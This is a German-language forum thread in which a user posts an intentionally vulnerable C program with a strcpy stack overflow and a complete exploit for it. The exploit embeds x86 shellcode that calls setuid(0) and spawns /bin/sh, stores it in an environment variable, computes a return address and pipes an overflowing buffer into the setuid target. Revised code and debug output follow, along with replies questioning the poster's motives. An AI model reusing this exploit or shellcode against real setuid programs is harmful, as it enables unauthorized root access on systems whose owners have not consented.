stack overflow?
-
Hi Leute
folgender code:
#include <stdio.h> #include <stdlib.h> void ausgabe(char *string) { char buffer[10]; char *addr= 0xbfffffc5; strcpy(buffer, string); printf("\nLange : %d\n", strlen(buffer)); printf("\nAddr bfffffc5: %s\n", addr); printf("\nHallo %s\n", buffer); return; } int main(void) { char name[100]; int i; printf("\nName: "); scanf("%100s", &name); for(i= 3; i< strlen(name); i+= 4){ printf(".%x.", name[i]); } ausgabe(name); return(0); }
folgender exploit:
#include <stdlib.h> #include <stdio.h> #define BUFFERSIZE 100 static char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x17\x5e\x89\x76\x08\x31\xc0" "\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x31\xd2\xcd" "\x80\xe8\xe4\xff\xff\xff\x2f\x62" "\x69\x6e\x2f\x73\x68\x58"; int main(int argc, char *argv[]) { char *env[2] = {shellcode, NULL} ; int i; long ret; long *addr_ptr; char *buffer, *ptr; int pipeh[2]; int fd[2]; buffer= (char *)malloc(BUFFERSIZE); ret= 0xbffffffa - strlen(shellcode) - strlen("./vuln2"); printf("\nretaddr: %x\n", ret); ptr= buffer; addr_ptr= (long *)ptr; for(i= 0; i< BUFFERSIZE; i+= 4){ *(addr_ptr++)= ret; } buffer[BUFFERSIZE - 1]= '\0'; if (pipe(fd) == -1) { perror("cannot create pipe"); exit(1); } switch (fork()){ case -1: perror("cannot fork"); exit(1); case 0: /* child */ close(fd[0]); /* Schliesse normales lesehandle */ close(1); /* Schliesse normalle Standarteingabe */ write(fd[1], buffer, BUFFERSIZE); free(buffer); exit(0); default: /* parent */ close(fd[1]); /* Schliesse normales schreibhandle */ close(0); /* Schliesse normale Standarteingabe */ dup(fd[0]); /* erstelle neue Standarteingabe */ close(fd[0]); /* nicht mehr gebraucht */ execle("./vuln2", "vuln2", '\0', env); perror("cannot exec"); exit(1); } return(0); }
Theorettisch alles richtig geht jedoch den nicht
Bitte um Hilfe
THX
-
Klingt nach Script-Kiddie-Alarm
http://neworder.box.sk/forum.php?did=edge12476&thread=211758
Was genau soll der Shellcode denn machen und wo funktioniert etwas nicht?
-
Hi der shellcode soll eine locale rootshell starten (s bit vorausgestez)
Diesen Shellcode übergebe ich in der Umgebungsvariable SHELLCODE an vuln2
Dieser wird auch erfolgreich übertragen, diese wird unter der errechneten
retaddr 0xbfffffc5 erfolgreich angezeigt.
Siehe hierzu debugzeilen in vuln2char *addr= 0xbfffffc5; printf("\nAddr bfffffc5: %s\n", addr);
Auch wird die retaddr-Kette erfolgreich übergeben wies scheint.
Siehe hierzu debug:printf("\nLange : %d\n", strlen(buffer));
Theoretisch müsste nach der strcpy() operation der shellcode ausgeführt werden.
Ist aber nicht so. Der anschliessende ausgabebefehl:printf("\nHallo %s\n", buffer);
Zeigt den shellcode (visuell jedenfalls)
nicht mehr so wie die erste debug zeile anHab versucht den code im debuger laufen zu lassen, scheint jedenfalls nicht so ganz zu funzen. Irgendwelche Ideen?
Gruss
-
Ach übrigens, dass Problem dass ich da hab ist nur bei dem Programm
welches eine eingabe zur Laufzeit anfordert. Ein ähnliches vuln programm welches das argument als parameter nimmt, lässt sich problemlos mit einem ähnlichen
exploit ausnutzen. Daher pipes sind dort nicht notwendig gewesenÜbrigens die methode mit der Umgebungsvariable ist viel besser als die mit dem langen nops-sled. Da diese addresse sich sehr leicht und exact(!) mittels
ret= 0xbffffffa - strlen(shellcode) - strlen("./vuln2"); errechnen lässtGruss
-
Hi Leute ich hab den code nun etwas geändert:
/* vuln2.c */ #include <stdio.h> #include <stdlib.h> void ausgabe(char *string) { char buffer[10]; char *addr= 0xbfffffc5; /* debug */ strcpy(buffer, string); printf("\nlen : %d\n", strlen(buffer)); /* debug */ printf("\nAddr bfffffc5: %s\n", addr); /* debug */ printf("\nHallo %s\n", buffer); return; } int main(void) { char name[100]; int i; printf("\nIhr Name: "); scanf("%100s", &name); for(i= 0; i< strlen(name); i+= 4){ /* debug */ printf(".%x", name[i]); } ausgabe(name); return(0); }
Der Exploit bleibt wie er ist:
/* exploit.c */ #include <stdlib.h> #include <stdio.h> #define BUFFERSIZE 101 static char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x17\x5e\x89\x76\x08\x31\xc0" "\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x31\xd2\xcd" "\x80\xe8\xe4\xff\xff\xff\x2f\x62" "\x69\x6e\x2f\x73\x68\x58"; int main(int argc, char *argv[]) { char *env[2] = {shellcode, NULL} ; int i; long ret; long *addr_ptr; char *buffer, *ptr; int pipeh[2]; int fd[2]; buffer= (char *)malloc(BUFFERSIZE); ret= 0xbffffffa - strlen(shellcode) - strlen("./vuln2"); printf("\nretaddr: %x\n", ret); ptr= buffer; addr_ptr= (long *)ptr; for(i= 0; i< BUFFERSIZE; i+= 4){ *(addr_ptr++)= ret; } buffer[BUFFERSIZE - 1]= '\0'; if (pipe(fd) == -1) { perror("cannot create pipe"); exit(1); } switch (fork()){ case -1: perror("cannot fork"); exit(1); case 0: /* child */ close(fd[0]); /* Schliesse normales lesehandle */ close(1); /* Schliesse normalle Standarteingabe */ write(fd[1], buffer, BUFFERSIZE); free(buffer); exit(0); default: /* parent */ close(fd[1]); /* Schliesse normales schreibhandle */ close(0); /* Schliesse normale Standarteingabe */ dup(fd[0]); /* erstelle neue Standarteingabe */ close(fd[0]); /* Schliesse normales lesehandle */ execle("./vuln2", "vuln2", '\0', env); perror("cannot exec"); exit(1); } return(0); }
=> wie man sieht, hab ich in den vuln2.c code debug operationen
eingebaut. Der code des exploits scheint bis auf einen kleinen Fehler komplett
richtig zu sein
Der Fehler ist, dass anscheinend aus unerfindlichen Gründen die
falsche Rücksprungaddresse dem vuln2 programm übergeben wirdstatt 0xbfffffc5
zeigen die debugs vom vuln2 programm 0xffffffc5
siehe hierzu die ausgabe beim ausführen des exploits:$ ./exploit4
retaddr: bfffffc5
Ihr Name: .ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5
len : 100Addr bfffffc5: 1�1۰̀�^�1�F�F
�
��1�̀�����/bin/shXHallo ����������������������������������������������������������������������������������������������������
Ab da wo 'Ihr Name' steht beginnt die ausgabe von vuln2.
wie man sieht ist der shellcode tatsächlich unter bfffffc5
leider sieht man die falsche rücksprungaddresse: ffffffc5Könnt Ihr mir bitte weiterhelfen?
Wiso wird ffffffc5 statt bfffffc5 übergeben?Für eure Hilfe wäre ich euch sehr dankbar
-
Ok dies Problem hat sich gelöst die eine debuganweisung in der main()
vom vuln2.c war falsch ^^ .
Muss heissen:long *long_ptr; ... long_ptr= (long *)name; for(i= 0; i< strlen(name); i+= 4){ /* debug */ printf(".%x", *(long_ptr++)); }
nach dem start des exploits sieht man nun folgendes:
$ ./exploit4
retaddr: bfffffc5
Ihr Name: .bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5
len : 100Addr bfffffc5: 1�1۰̀�^�1�F�F
�
��1�̀�����/bin/shXHallo ����������������������������������������������������������������������������������������������������
Den debuggs nach ist nun alles richtig
Wiso wird der shellcode nicht ausgeführt?
Ich bitte um Eure hilfe
-
Hi,
möglicherweise ist dein Rechner immun gegen diesen Exploit? Sowas hängt natürlich auch vom eigenen System ab.